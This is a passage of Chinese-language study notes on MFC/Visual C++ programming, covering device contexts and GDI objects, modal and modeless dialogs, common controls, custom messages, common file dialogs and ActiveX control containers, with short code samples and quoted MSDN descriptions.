pointed to by pWnd. The constructor calls the Windows function GetWindowDC.</p><p>如果构造CClientDC对象，则设备环境的映射区域限于客户区域，不能在客户区域外绘图。原点（0，0）在客户区左上角。<br />《 如果创建CWindowDC对象，则设备环境的映射区域为整个窗口（包括标题栏、状态栏、窗口边框等）。原点（0，0）在整个窗口的左上角。》<br />注意：<br />1）视图窗口没有非客户区域.<br />2）视图窗口覆盖在框架窗口之上。<br />3）在《》中的内容，是我根据测试所理解的。翻译原文中映射区域是整个显示屏幕，原点（0，0）在整个屏幕的左上角。这显然是不对的。</p><p>5，在创建了一个CDC对象后，一定要注意在完成任务后将其删除。(如果用CClientDC 或 CWindowDC来在堆栈中构造一个DC对象，则不需要我们显式的删除它，CClientDC或CWindowDC对象会在它的生命周期结束的时候自动调用析构函数来完成删除工作）<br />例如：<br />CDC *pDC=GetDC();<br />...<br />RealeaseDC(pDC);<br />说明：<br />CDC* GetDC( );//CWnd::GetDC 获得与当前窗口相关联的CDC对象指针（映射窗口客户区域）<br />int ReleaseDC( CDC* pDC );//CWnd::ReleaseDC 释放与当前窗口相关联的设备环境</p><p>注意：<br />在MFC程序中，千万不能自己添加代码删除作为参数以指针形式传递给OnDraw(CDC* pDC)函数的CDC对象，应用程序会自动控制它的删除。</p><p>6，当利用CDC对象绘图的时候，所绘制的图形都要依赖于设备环境的状态：如画笔、画刷、字体等GDI绘图对象 和 当前映射模式的选择等。<br />可以使用CDC成员函数了设置所需要的饿设备环境状态。如：SelectObject()函数可将GDI对象随时选入设备环境中。</p><p>7，CPaintDC类：当需要重写OnPaint函数的时候，就需要使用CPaintDC类。默认的OnPaint函数会使用已经设置好的设备环境来调用OnDraw函数<br />注意：CPaintDC类的构造函数和析构函数所完成的工作都是针对显示用的。<br />例：<br />void CMyView::OnPaint()<br />{<br />CPaintDC dc(this);<br />OnPrepareDC(&amp;dc);<br />dc.TextOut(0,0,"for the display,not the printer");<br />OnDraw(&amp;dc);<br />}<br />说明：<br />1）CPaintDC( CWnd* pWnd );<br />//CPaintDC::CPaintDC Constructs a CPaintDC object, prepares the application window for painting, and stores the PAINTSTRUCT structure in the m_ps member variable. <br />2）CPaintDC类的构造函数自动调用BeginPaint,而它的析构函数会自动调用EndPaint.<br />3）CDC* BeginPaint( LPPAINTSTRUCT lpPaint );<br />//CWnd::BeginPaint Prepares CWnd for painting and fills a PAINTSTRUCT data structure with information about the painting. <br />void EndPaint( LPPAINTSTRUCT lpPaint );<br />//CWnd::EndPaint Marks the end of painting in the given window. The EndPaint member function is required for each call to the BeginPaint member function, but only after painting is complete. <br />问题：<br />1）在View类中一旦定义了OnPaint()函数，则WM_PAINT消息由OnPaint函数来响应。OnDraw函数不再被调用。原因？</p><p><br />8，GDI对象：<br />Class   Windows handle type </p><p>CPen   HPEN <br />CBrush   HBRUSH <br />CFont   HFONT <br />CBitmap  HBITMAP <br />CPalette  HPALETTE <br />CRgn   HRGN <br />说明：<br />Each graphic-object class in the class library has a constructor that allows you to create graphic objects of that class, which you must then initialize with the appropriate create function, such as CreatePen.</p><p>Each graphic-object class in the class library has a cast operator that will cast an MFC object to the associated Windows handle. The resulting handle is valid until the associated object detaches it. Use the object’s Detach member function to detach the handle. </p><p>9，CGdiObject类有一个虚析构函数，在其派生类的析构函数将与C++对象相关联的WINDOWS GDI对象删除掉。如果构造了一个CGdiObject派生类对象，则在退出程序之前，必须将其删除掉。<br />利用CDC类的SelectObject成员函数把自己的GDI对象选进DC的同时，保存原来的GDI对象，当任务完成后，恢复原来的GDI对象，这样就可以将自己的GDI对象的删除掉。<br />如：<br />GDIStyle *poldGdiObject=pDC-&gt;SelectObject(&amp;newGdiObject);<br />...//完成任务<br />pDC-&gt;SelectObject(poldGdiObject);</p><p>10,Windows对任何企图删除库存GDI对象的行为都不予理会。可以利用SelectObject函数把库存GDI对象选入，从而删除当前GDI对象。<br />原因：<br />This function SelectObject may return a pointer to a temporary object. This temporary object is only valid during the processing of one Windows message. <br />如：<br />pDC-&gt;SelectObject(&amp;newGdiObject);<br />...<br />pDC-&gt;SelectStockObject(StockCGdiObject);//如：BLACK_BRUSH</p><p>11，对于显示设备环境，在消息处理函数内部所进行GDI选择在函数退出后不再有效，因此在进入其他处理函数的时候，每次都必须重新设置设备环境。<br />Windows句柄是唯一能够持久存在的GDI标识。可以使用GDI对象指针调用GetSafeHandle函数可以获得它Windows句柄，再利用GDI对象类的FromHandle函数将句柄转化为对应的GDI对象。<br />如：<br />CFont *pOldFont=pDC-&gt;SelectObject(&amp;newFont);<br />m_hOldFont=(HFONT)pOldFont-&gt;GetSafeHandle();//m_hOldFont为数据成员,保存先前字体对象句柄<br />...<br />pDC-&gt;SelectObject(CFont::FromHandle(m_hOldFont));//可在其他函数中，恢复m_hOldFont句柄对应的字体对象。<br />说明：<br />1）static CFont* PASCAL FromHandle( HFONT hFont );<br />//CFont::FromHandle Returns a pointer to a CFont object when given an HFONT handle to a Windows GDI font object. If a CFont object is not already attached to the handle, a temporary CFont object is created and attached. <br />2）CGdiObject::GetSafeHandle();<br />//Return A HANDLE to the attached Windows GDI object; otherwise NULL if no object is attached.</p><p>12，每一种Windows颜色都是 通过8位的红（R）、绿（G）、蓝（B）的值祝贺来表示的。<br />面向颜色的GDI函数可以接收32位的COLORREF参数。Windows的RGB宏可以将8位的红绿蓝值转化成COLORREF参数。<br />说明：<br />1）The COLORREF value is a 32-bit value used to specify an RGB color. <br />2）16种标准VGA纯色参见 P70页；256显示卡 多增加4种标准色参见 P71页。</p><p>13，字体是GDI对象，在使用上和其它的GDI对象完全一样。<br />CDC::GetTextMetrics  <br />BOOL GetTextMetrics( LPTEXTMETRIC lpMetrics ) const;//测量字体高度等参数</p><p>14,GetDeviceCaps();<br />//Retrieves a wide range of device-specific information about the display device.<br /><br /><span id="ArticleContent1_ArticleContent1_lblContent"> </span></p><p>/**************************************/<br />第六章：模式对话框和Windows通用控件</p><p>1，对话框也是窗口，它不当可以接受消息，而且还可以被移动和关闭，甚至可以在它的客户区中进行绘图操作。</p><p>2，模式对话框在被关闭之前，用户无法在同一应用程序的其它地方进行工作。模式对话框更易于编程。<br />无模式对话框在它仍保留在屏幕的同时，用户还可以在应用程序的其它窗口进行工作。</p><p>3，对话框控件既可以通过CWnd指针来引用，也可以通过资源文件定义的索引值（和#define常量相关联）来引用。对话框控件本身就是一个窗口。控件通过向上级对话框发送消息来响应用户的动作。<br />利用ClassWizard可以帮助产生CDialog派生类，还可以使对话框类数据成员和对话框控件相联系。</p><p>4，在现存在项目中添加模式对话框步骤：<br />1）用对话框编辑器创建包含各种控件的对话框资源。对话框编辑器会对项目的资源文件更新，使之包含新的对话框资源，并且该项目的resource.h文件也会被更新，以便能够包含新的#define常量。<br />2）利用ClassWizard创建CDialog派生类，并将它和第一步所创建的资源相连接。<br />3）利用ClassWizard添加控件消息响应函数，并进行编辑。<br />4）在其它类中需要使用地方先构造该对话框类对象，再调用DoModal显示模式对话框。<br />说明：<br />1）在产生的对话框头文件中包含一个枚举类型常量IDD，用于设置该对话框资源ID。枚举常量IDD的使用减弱了CPP文件对资源ID的依赖。<br />2）《在其它类中显示模式对话框后，只有当模式对话框退出后，才继续执行该类显示模式对话框代码后的代码。》</p><p>5，在组合筐中Data属性页下，添加一条后按CTRL+RETURN来结束（或添加下条item)。（VC6中按？键可以获取相关帮助提示的）。组合框有Simple,Dropdown,Drop List三中风格，可以是Styles中选择。<br />列表筐中，用户只能用鼠标选择选择一个条目，而且在对话框编辑器中不能输入列表框的初始选择条目。<br />在静态文本控件中可以内置'&amp;'符号。运行时候，&amp;符号后面的字符下将有一个下划线。用户在按下ALT键后同时按下相应带下划线的字母，则就可以跳转到相应的控件上去。注意同一对话框中跳转字符不能重复。</p><p>6，当DoModal被调用后，实际在幕后引起一系列如下的动作：<br />CDialog::DoModal-&gt;CEx06Dialog::OnInitDialog-&gt;其它的初始化-&gt;CDialog::OnInitDialog-&gt;CWnd::UpdateData(FALSE)-&gt;CEx06Dialog::DoDataExchange<br />用户输入数据...<br />用户单击OK按钮<br />CEx06Dialog::OnOk-&gt;...其它的确认处理...-&gt;CDialog::OnOk-&gt;CWnd::UpDateData(TURE)-&gt;CEx06Dialog::DoDataExchange-&gt;CDialog::EndDialog(IDOK)<br />说明：<br />1）virtual BOOL OnInitDialog( );<br />//CDialog::OnInitDialog This member function is called in response to the WM_INITDIALOG message. This message is sent to the dialog box during the Create, CreateIndirect, or DoModal calls, which occur immediately before the dialog box is displayed. <br />//Override this member function if you need to perform special processing when the dialog box is initialized. </p><p>2）BOOL UpdateData( BOOL bSaveAndValidate = TRUE );<br />//CWnd::UpdateData ：Call this member function to initialize data in a dialog box, or to retrieve and validate dialog data.<br />//bSaveAndValidate：Flag that indicates whether dialog box is being initialized (FALSE) or data is being retrieved (TRUE).<br />//By default UpdateData(TRUE) is called in the default CDialog::OnOK handler and UpdateData(FALSE) is called in the default CDialog::OnInitDialog.</p><p>3）virtual void DoDataExchange( CDataExchange* pDX );<br />//CWnd::DoDataExchange  Called by the framework to exchange and validate dialog data.<br />//Never call this function （DoDataExchange） directly. It is called by the UpdateData member function. <br />//Call UpdateData to initialize a dialog box’s controls or retrieve data from a dialog box. </p><p>4）void EndDialog( int nResult );<br />//CDialog::EndDialog  makes the dialog box invisible but does not destroy it.<br />//Call this member function to terminate a modal dialog box. This member function returns nResult as the return value of DoModal（IDOK表示接受对话框数据，IDCANCEL表示取消对话框数据）. You must use the EndDialog function to complete processing whenever a modal dialog box is created.<br />//注意：If you implement the OK button in a modeless dialog box, you must override the OnOK member function and call DestroyWindow from within it.</p><p>5）当DoModal函数返回的时候，对话框窗口不再存在。我们可以在堆栈中创建模式对话框对象，这样就可以保证当程序控制转向到C++对话框对象所在的范围之外时，它及时的删除掉。</p><p><br />7，代码解释：<br />void CEx06aDialog::DoDataExchange(CDataExchange* pDX)<br />{<br /> CDialog::DoDataExchange(pDX);<br /> //{{AFX_DATA_MAP(CEx06aDialog)<br /> DDX_Text(pDX, IDC_BIO, m_strBio);//<br /> DDX_Radio(pDX, IDC_CAT, m_nCat);<br /> ...<br /> DDV_MinMaxInt(pDX, m_nSsn, 0, 999999999);<br /> //}}AFX_DATA_MAP<br />}<br />说明：<br />1）DoDataExchange、DDX_（交换）、DDV_（确认）函数都具有双向性。如果调用UpdateData(FALSE)（参数为FALSE），则这些数据就会将与控件相关联（值关联）的数据成员的值传递给对话框中的控件；相反，如果UpDateData(TURE)（参数是TURE），则这些函数会将数据从对话框控件中传递给与之相关联（值关联）的数据成员。<br />2）这里DDX_Text函数被重载，具体参阅MSDN。The DDX_Text function manages the transfer of int, UINT, long, DWORD, CString, float, or double data between an edit control in a dialog box, form view, or control view and a CString data member of the dialog box, form view, or control view object.<br />其它DDX_函数参阅MSDN。 </p><p>8,Enter键触发OnOk函数调用：<br />当用户按下ENTER键后，OS会自动去查找输入焦点落在哪个按钮上，获得焦点的按钮四周将被点线矩形框包围。如果所有的按钮都没获得输入焦点，则OS会自动去寻找程序或资源所指定的默认按钮（默认按钮边框较粗）。如果对话框没有默认按钮，那么即使对话框中没有OK按钮，OnOk函数也会自动被调用。<br />由于OnOk函数是虚函数，可以重写OnOk函数，将其函数体置空，变可以使使ENTER键无效。<br />分离OK按钮：改写OK按钮ID，并除掉其默认按钮（Default Button)的设置。</p><p>9,p107至WIN32程序员：强烈建议看看，下为简要笔记。<br />对话框控件会向他们父对话框发送WM_COMMAND通告消息。大多数窗口程序处理函数都是通过一个嵌套的switch结构了处理这些通告消息的，而MFC则更直接了当地把这些控件通知消息和其它的Windows消息放在同一个层次上处理。</p><p>10，Esc键触发OnCancel函数的调用，导致控制从对话框中退出，如果是模式对话框则DoModal的还返回IDCANCEL值。其消除方法同ENTER键。</p><p>11，事例代码涉及的一些主要函数及补充说明：<br />1）CWnd* GetDlgItem( int nID ) const;//可用它来获取对话框上控件指针（返回的时候，强制转换成所需要的控件指针），注意临时性。<br />   void CWnd::GetDlgItem( int nID, HWND* phWnd ) const;<br />//Retrieves a pointer to the specified control or child window in a dialog box or other window. The pointer returned is usually cast to the type of control identified by nID.<br />说明：如果需要包CWnd指针转化成一个控件ID，则可以使用MFC中CWnd类GetDlgCtrlID成员函数。<br />2）GetScrollPos  Retrieves the current position of a scroll box. <br />   SetScrollPos  Sets the current position of a scroll box. <br />   GetScrollRange  Retrieves the current minimum and maximum scroll-bar positions for the given scroll bar. <br />   SetScrollRange  Sets minimum and maximum position values for the given scroll bar. <br />3）afx_msg void OnHScroll( UINT nSBCode, UINT nPos, CScrollBar* pScrollBar );//CWnd::OnHScroll  <br />afx_msg void OnVScroll( UINT nSBCode, UINT nPos, CScrollBar* pScrollBar );//CWnd::OnVScroll  <br />3）所有的水平滚动条都绑在WM_HSCROLL消息控制函数，所有的竖直滚动条则都绑在一个WM_VSCROLL消息控制函数上。（一般控件都有自己的独立的消息控制函数，但[滚动条控件]有点不同，所以对同一个对话框多个滚动条消息处理的时候，一般都将它们的滚动范围设置一致，方便编程）</p><p><br />/////////////////////////<br />/////////////////////////<br />///P109-125页内容笔记待续<br />12，每个控件在显示之前会向其父对话框发送WM_CTLCOLOR消息，对话框本身也会发送该消息。<br />《对话框和对话框控件都是窗口，也可以在这些窗口中进行绘图操作。（添加OnPain函数，调用Invalidate/UpdateWindow让窗口重绘）》</p><p>13,在运行时加入对话框控件：<br />一般步骤：<br />1）在对话框类中添加一个内嵌的控件窗口数据成员。一个内嵌控件C++对象将与相应的对话框对象一起被构造和删除。<br />2）从View菜单中选择Resource Symbols，为新的控件添加一个ID常量。（也可以在Resource.h中用定义）<br />3）用ClassWizard映射WM_INITDIALOG消息覆盖（Override）基类 CDialog::OnInitDialog函数。在该函数里调用控件窗口的Create成员函数，并显示新的控件（可以用ShowWindow函数）。Windows回在删除对话框窗口的同时也删除该控件窗口。<br />4）在派生对话框类里，为新控件手工加入必要的通知消息控制函数。（三步：消息控制函数原型说明，消息映射，消息处理函数）</p><p>14，Win32编程经验：父窗口和控件之间是通过Windows消息进行通信的（如MFC中象CListBox::InserString函数），但适用于所有窗口类型的控件类成员函数并不发送消息，而是调用Win32函数。</p><p>15，Windows通用控件：Win95引进的象[进度指示器]，[滑杆条]，[微调按钮控件]，[列表控件]和[树状控件]。这些控件的代码在Windows的COMCTL32.DLL文件中，其中包括了每个控件的窗口过程函数，及每个控件的注册窗口类的代码，这些注册代码在DLL加载时候被调用。当应用程序初始化对话框时，将使用对话框资源中符号化的类名，来连接到DLL里的窗口过程函数上。这样应用程序就有了控件的窗口，但代码实际上在DLL里。<br />除了ActiveX控件，大多数控件都是用这种方法实现的。</p><p>16，WM_NOTIFY <br />    idCtrl = (int) wParam; //控件ID<br />    pnmh = (LPNMHDR) lParam; //指向NMHDR结构指针，该结构由控件管理。<br />说明：<br />1）Sent by a common control to its parent window when an event has occurred in the control or the control requires some kind of information. <br />2）Not all controls will send WM_NOTIFY messages. In particular, the standard Windows controls (edit controls, combo boxes, list boxes, buttons, scroll bars, and static controls) do not send WM_NOTIFY messages. </p><p>/////////////////////////<br />/////////////////////////<br />///P115-125页内容笔记待续</p><p><span id="ArticleContent1_ArticleContent1_lblContent"> </span></p><p>/*****************************************/<br />第七章：无模式对话框 和 Windows通用对话框类</p><p></p><p>1，[无模式对话框]在它处于激活状态下还允许用户在（同一个应用程序中）其它地方工作。<br />   [通用对话框]则是C++和一组Windows的实用对话框之间的程序设计借口，包括File Open,Page Setup,Color等等，它们都是通过COMDLG32.DLL来实现的。</p><p>2，两种发送Windows消息：<br />CWnd::SendMessage//立刻导致对窗口控制函数的调用<br />CWnd::PostMessage//将消息放进Windows消息队列。对消息的处理可能被滞后。<br />具体：<br />1）LRESULT SendMessage( UINT message, WPARAM wParam = 0, LPARAM lParam = 0 );<br />//Sends the specified message to this window. The SendMessage member function calls the window procedure directly and does not return until that window procedure has processed the message. This is in contrast to the PostMessage member function, which places the message into the window’s message queue and returns immediately. </p><p>2）BOOL PostMessage( UINT message, WPARAM wParam = 0, LPARAM lParam = 0 );<br />//Places a message in the window’s message queue and then returns without waiting for the corresponding window to process the message. Messages in a message queue are retrieved by calls to the GetMessage or PeekMessage Windows function. </p><p>3，对话框实际上应该属于应用程序的主框架窗口，而不属于视图。（对话框默认弹出特性）<br />（注：还未领悟，先留着。）</p><p>4，对话框窗口的创建和取消完全取决与用户的操作，而对话框对象则将直到应用程序被终止时才会被删除。<br />（除了主框架窗口之外，对于几乎所有的窗口类型，DestroyWindow函数都不会将C++对象删除掉。所以要注意手动添加删除对话框对象代码）</p><p>5，Windows 常量WM_USER是用户自定义消息中可以利用的第一个消息ID。<br />#define WM_USER       0x0400<br />//The WM_USER constant is used by applications to help define private messages, usually of the form WM_USER+X, where X is an integer value. <br />说明：<br />1）CWnd::PostMessage//发送消息。利用wParam , LPARAM可以向响应消息的处理函数传送附加数据信息。 <br />BOOL PostMessage( UINT message, WPARAM wParam = 0, LPARAM lParam = 0 );<br />2）在WIN32中，用wParam 和LPARAM参数来传递消息数据是最常用的手段（如：将鼠标的X，Y坐标压缩进lParam）。而在MFC库中，消息数据可以更多样的类型来传递（如：可以CPoint对象来传递鼠标信息）。<br />对于用户自定义消息，只能使用wParam 和LPARAM参数来传递消息附加数据信息。<br />3）案例说明：<br />在对话框类中：<br />#define WM_GOODBYE WM_USER + 5//定义自定义消息<br />m_pView-&gt;PostMessage(WM_GOODBYE, IDOK);//向View类发送WM_GOODBYE消息，附加消息IDOK存放在wParam 中。m_pView指向当前View类对象。<br />在View 类对象中<br />afx_msg LRESULT OnGoodbye(WPARAM wParam, LPARAM lParam);<br />ON_MESSAGE(WM_GOODBYE, OnGoodbye)<br />LRESULT CEx07aView::OnGoodbye(WPARAM wParam, LPARAM lParam)<br />{<br /> return 0L;<br />}<br />4）技巧：在对话框类中重载构造函数，参数为CView*指针。再在对话框类中定义一个CView*指针数据成员。这样，如果在View类中通过传入this指针来构造对话框对象的时候，对话框类中CView*指针数据成员可以在带参数为CView*指针重载构造函数里方便获取构造它的View类指针。</p><p>6，ClassWizard并不支持用户自定义消息的响应，所以当使用用户自定义消息编程的时候，必须自己编写自定义消息的处理代码。（三步，首先是消息响应函数原型声明，其次消息映射，最后是编写消息响应函数代码。这里要注意：用户自定义消息的消息映射一定要加在BEGIN_MESSAGE_MAP(..)~~END_MESSAGE_MAP()之间，//{{AFX_MSG_MAP(CEx07aView)~~ //}}AFX_MSG_MAP注释宏对之外）</p><p>7，对于无模式对话框一定要注意不要调用CDialog::OnOk或者CDialog::OnCancel函数，既在无模式对话框类中必须重载这些虚函数；否则当使用ESC键，回车键或者用鼠标单击OK|CANCEL按钮的时候，会激发对应基类函数的调用，进而导致调用Windows 的EndDialog函数，EndDialog函数只适合于模式对话框。对于无模式对话框，必须调用DestroyWindow函数。<br />如果需要的话，还可调用Updatedata函数来将数据从对话框控件中传到类数据成员中。</p><p>8,Windows通用对话框：<br />共同特点：都从用户处获得消息，但并不对信息做处理。如：文件对话框只为程序提供路径名，字体对话框只是填充一个描叙字体的结构，并不创建字体。<br />所有的通用对话框类都从公有基类CCommonDialog派生而来。<br />COMDLG32中类列表如下：<br />CColorDialog  允许用户选择或创建颜色<br />CFileDialog  允许用户打开或者保存一个文件<br />CFindReplaceDialog 允许用户将一个字符串换成另一个字符串<br />CPageSetupDialog 允许用户输入页面参数<br />CFontDialog  允许用户从列出的可用字体中选择一种字体<br />CPrintDialog  允许用户设置打印机并打印文档</p><p>9，注意：在Win32中，不能在标准文件对话框内部动态创建控件。（其它标准对话框中也应该如此吧）</p><p>10，嵌套对话框（这些内容熔入EX07B事例中讲解了，不打算重复，强烈建议看看和跟着做做，页码：P135-141。下面只对其中重要的函数做些说明笔记。）<br />利用MFC，从通用<br />1）CFileDialog::m_ofn <br />//m_ofn is a structure of type OPENFILENAME. Use this structure to initialize the appearance of a File Open or File Save As dialog box after it is constructed but before it is displayed with the DoModal member function. <br />2）CFileDialog::CFileDialog<br />CFileDialog( BOOL bOpenFileDialog, LPCTSTR lpszDefExt = NULL, LPCTSTR lpszFileName = NULL, DWORD dwFlags = OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT, LPCTSTR lpszFilter = NULL, CWnd* pParentWnd = NULL );<br />//bOpenFileDialog<br />Set to TRUE to construct a File Open dialog box or FALSE to construct a File Save As dialog box.<br />3）CFileDialog::DoModal<br />//Call this function to display the Windows common file dialog box and allow the user to browse files and directories and enter a filename.<br />//If you want to initialize the various file dialog-box options by setting members of the m_ofn structure, you should do this before calling DoModal, but after the dialog object is constructed.<br />//When the user clicks the dialog box’s OK or Cancel buttons, or selects the Close option from the dialog box’s control menu, control is returned to your application. You can then call other member functions to retrieve the settings or information the user inputs into the dialog box.<br />4）CFileDialog::GetPathName<br />//Call this function to retrieve the full path of the file entered in the dialog box. The path of the filename includes the file’s title plus the entire directory path.<br />5）事例中注意设置自己创建的子对话框上的组筐控件的ID为stc32。这样才保证文件通用对话框嵌入的位置在组筐所在的位置上，否则默认为自己创建的子对话框的同宽度。（stc32应该是与文件通用对话框相关联的，具体是如何关联的哦？）<br />6）事例中可见到这样的代码（GetParent()-&gt;GetDlgItem(IDOK)-&gt;SetWindowText("Delete");）来获取文件通用对话框上的控件指针，这里要理解为什么要用GetParent()函数来获得父窗口指针（因为事例中自己所创建的对话框被设置成Child Style。）（Child style,None border,Group box ID=stc32这些设置都是必不可少的，自己可以试着改变这些设置，看看效果印象也就深了）<br />7）事例中CSpecialFileDialog::OnDelete() 函数中代码（GetParent()-&gt;GetDlgItem(0x480)-&gt;GetWindowText(m_strFileName);）通过获取文件通用对话框上文件名对应的编辑框的指针调用CWnd::GetWindowText函数来获取编辑框中的文本保存在m_strFileName数据成员中。其中0x480应该是文件通用对话框上文件名对应的编辑框的ID。<br />8）事例中CSpecialFileDialog::OnDelete() 函数中代码（GetParent()-&gt;SendMessage(WM_COMMAND,IDCANCEL);）向文件通用对话框发送IDCANCEL消息，该操作引起OnCancel函数的调用终止当前模式对话框同时使得CFileDialog::DoModal函数返回IDCANCEL值。<br />MSDN：<br />CDialog::OnCancel （The default simply terminates a modal dialog box by calling EndDialog and causing DoModal to return IDCANCEL.）<br />9）SDK函数：FindFirstFile，DeleteFile<br />//FindFirstFile Searches a directory for a file whose name matches the specified file name on the destination site identified by this object. It examines subdirectory names as well as file names. <br />//DeleteFile Deletes the given file from the destination site.<br />10）CFile::Remove<br />A static function ，deletes the file specified by the path. It will not remove a directory. （注意：用这函数删除的文件是不经过回收站的哦。）</p><p>11，在对话框标题栏添加图标：在对话框类OnInitDialog函数中添加如下代码。<br /> HICON hIcon =AfxGetApp()-&gt;LoadIcon(ID_MYICON);//ID_MYICON是用资源编辑器创建的图标ID。<br /> this-&gt;SetIcon(hIcon,TRUE);<br /> this-&gt;SetIcon(hIcon,FALSE);注：这里带上this指针目的是为了强调必须使用目的对话框类对象指针调用SetIcon设置图标。<br />比如在书EX07B事例中，由于CSpecialFileDialog类设置为子窗口类，而且所关联的资源窗口没有Tittle Bar，要在父窗口文件通用对话框Tittle Bar上添加图标，必须获取父窗口文件通用对话框对象指针来调用SetIcon设置图标。<br />如在书EX07B事例中：在CSpecialFileDialog::OnInitDialog函数中添加如下代码，可设置文件通用对话框标题图标： <br /> HICON hIcon =AfxGetApp()-&gt;LoadIcon(ID_MYICON);<br /> GetParent()-&gt;SetIcon(hIcon,TRUE);<br /> GetParent()-&gt;SetIcon(hIcon,FALSE);</p><p><br />/////////////<br />/////////////</p><p><span id="ArticleContent1_ArticleContent1_lblContent"> </span></p><p>/************************************/<br />第八章：使用ActiveX控件</p><p></p><p>1，ActiveX控件是一个直接插入到C++程序中的软件模块，以前常称OLE控件（OCX），是基于MS-COM技术。</p><p>2，ActiveX控件与普通Windows控件比较：<br />相同点：ActiveX控件也可看成是一个子窗口（可以看成这样的）。<br />如果想在对话框上加入ActiveX控件，则只要在对话框编辑器中，把ActiveX控件放在适当的位置上，并在资源模板中标识该控件。如果要在运行的过程中建立ActiveX控件，则可以调用响应控件类的Create成员函数，而且通常在父窗口的WM_CREATE消息控制函数中调用。<br />不同点：属性和方法。<br />ActiveX控件不像普通控件那样发送以WM_打头的通知消息给它的包容器窗口，而是激发事件。事件实际上是由控件调用包容器函数。像普通的控件通知消息一样，事件并没有返回值传给ActiveX控件。事件如lick,KeyDown。但对于客户来说时间与控件的通知消息是一样的。</p><p>3，在MFC库中，ActiveX控件就像子窗口一样，但在控件窗口和包容器窗口之间有一层重要代码。实际上，ActiveX控件可能没有窗口。当调用Create函数时，并不是直接建立控件窗口，而是把控件代码载入进来，并激发一个“实地激活”（in-place activation)命令。然后ActiveX控件再建立它自己的窗口，通过MFC的CWnd类指针我们可以访问该窗口。不过客户程序最好不要使用ActiveX控件的hWnd句柄。</p><p>4，通常ActiveX控件会保存在扩展名为OCX的动态连接库中。包容器程序回根据Windows注册表利用COM技术在需要的时候装入动态连接库。<br />说明：<br />1）暂时可以这样认为，如果使用了ActiveX控件，那么在运行时候要装入该ActiveX控件代码。显然在发布含有ActiveX控件的程序时候，必须要包含相应的OCX文件，而且还得提供一个合适的安装程序。</p><p>5，安装ActiveX控件：<br />1）把找到的ActiveX控件动态连接库拷到硬盘上。<br />2）在WINDOWS注册表中登记注册。（可使用Regsvr32命令行命令）<br />3）在使用该控件的项目中安装该控件。（选择Project菜单，再选择Add To Project,再选择Components And Controls，再选择Registered ActiveX Controls，这时列表框列出系统已经注册所有的ActiveX控件，选择需要的控件INSERT即可。）</p><p>6，ActiveX控件包容器编程：<br />1）不管ActiveX控件是作为对话框控件，还是做为“子窗口”，MFC和ClassWizard都支持。<br />2）ActiveX控件编写者设计了ActiveX控件属性供使用者在设计时访问。所有的ActiveX控件属性（包括设计时属性），在运行时都是可以访问的，不过有些属性可能被设计成只读的。<br />3）当在项目中插入ActiveX控件时，ClassWizard就会产生相应的CWnd的派生类C++类，来满足对空间的方法和属性进行访问要求。控件的属性和方法都有相应的成员函数，同时生成的类还有一个构造函数可用以动态创建ActiveX控件的事例。<br />4）当在项目中插入ActiveX控件ClassWizard生成的CWnd的派生类C++类中，可以看到其成员函数的代码中都有对InvokeHelper函数的调用，InvokeHelper函数的第一个参数都和对应的属性或方法在ActiveX控件中的分发(dispatch)ID（标识ActiveX控件的方法或属性的）相对应。通过查看ActiveX控件hlp文件可以发现，ActiveX控件的方法在生存的C++类中都有同名的成员函数与之对应，ActiveX控件的属性都有一组Get和Set函数对其操作，其中ActiveX控件的方法和属性操作与生成的C++类成员函数相关联都是通过InvokeHelper函数的调用来完成的，InvokeHelper函数的第一个参数是由Component Gallery（控件提供者）提供的。因为经过这样的处理，所以我们如果要调用ActiveX控件的方法或对其属性进行取和设置操作，只需调用生成的C++类对应的成员函数便可。<br />下面对InvokeHelper单独说明：<br />CWnd::InvokeHelper<br />void InvokeHelper( DISPID dwDispID, WORD wFlags, VARTYPE vtRet, void* pvRet, const BYTE* pbParamInfo, ... );<br />说明：<br />Call this member function to invoke the OLE control method or property specified by dwDispID, in the context specified by wFlags.<br />其中参数：<br />dwDispID：<br />//Identifies the method or property to be invoked. This value is usually supplied by Component Gallery.</p><p>wFlags：可以为下面些值，指明调用InvokeHelper的目的。<br />//[ DISPATCH_METHOD ]   The member is invoked as a method. If a property has the same name, both this and the DISPATCH_PROPERTYGET flag may be set. <br />[ DISPATCH_PROPERTYGET ] The member is retrieved as a property or data member. <br />[ DISPATCH_PROPERTYPUT ] The member is changed as a property or data member. <br />[ DISPATCH_PROPERTYPUTREF ] The member is changed by a reference assignment, rather than a value assignment. This flag is valid only when the property accepts a reference to an object. </p><p>vtRet：<br />//Specifies the type of the return value. <br />VT_EMPTY  void <br />VT_I2  short <br />VT_I4  long <br />VT_R4  float <br />VT_R8  double <br />VT_CY  CY <br />VT_DATE  DATE <br />VT_BSTR  BSTR <br />VT_DISPATCH  LPDISPATCH <br />VT_ERROR  SCODE <br />VT_BOOL  BOOL <br />VT_VARIANT VARIANT <br />VT_UNKNOWN  LPUNKNOWN </p><p>pvRet：<br />//Address of the variable that will that will receive the property value or return value. It must match the type specified by vtRet.</p><p>pbParamInfo：一般都设置为NULL<br />//Pointer to a null-terminated string of bytes specifying the types of the parameters following pbParamInfo. <br />specifies the types of the parameters passed to the method or property. <br />...：<br />//Variable List of parameters, of types specified in pbParamInfo.</p><p>5）AppWizard对ActiveX控件的支持是通过在生成的应用程序类的成员函数InitInstance中插入（AfxEnableControlContainer();），同时在响应项目文件的StdAfx.h文件中插入（#include&lt;afxdisp.h&gt;）（原因可参考书P38一些说明）。<br />如果项目中不包含这两行，而又要加入ActiveX控件，则只要手工加入上面两行代码即可。</p><p>6）可以对话框编辑器来生成对话框的模板中加入一个或多个ActiveX控件，这样我们可以在对话框模板生成的类中添加数据成员或事件控制函数来获取ActiveX控件的属性或对其控制。<br />注意：（详细见书P159页的[致WIN32程序员]）<br />实际上，资源模板并不是在对话框编辑器中所看的那样。函数CDialog::DoModal在把对话框模板交给WINDOWS内部的对话框过程之前，要先对模板进行预处理，即：它先会去掉所有的ActiveX控件，有剩下的控件建立对话框窗口，然后再装入ActiveX控件，激活它们并在正确的位置上创建它的窗口。<br />当模式对话框运行时候，MFC处理所有送给对话框消息时，是不管是有普通控件发送的，还是ActiveX控件发送的。故ActiveX控件虽然不是对话框模板一部分，但用户仍然可以用TAB键在所有的控件间切换。</p><p>7）调用UpdateData(FALSE)将会从所有的对话框控件中读取所有属性值。如果只需要得到ActiveX控件属性的话，可以调用ActiveX控件生成的C++类中Get函数（同样设置调用Set函数），这样就提高了效率。</p><p>8）事例部分代码对比说明：<br />代码一：<br />   CDataExchange dx(this,TRUE);<br />   DDX_Text(&amp;dx,IDC_DAY,m_sDay);<br 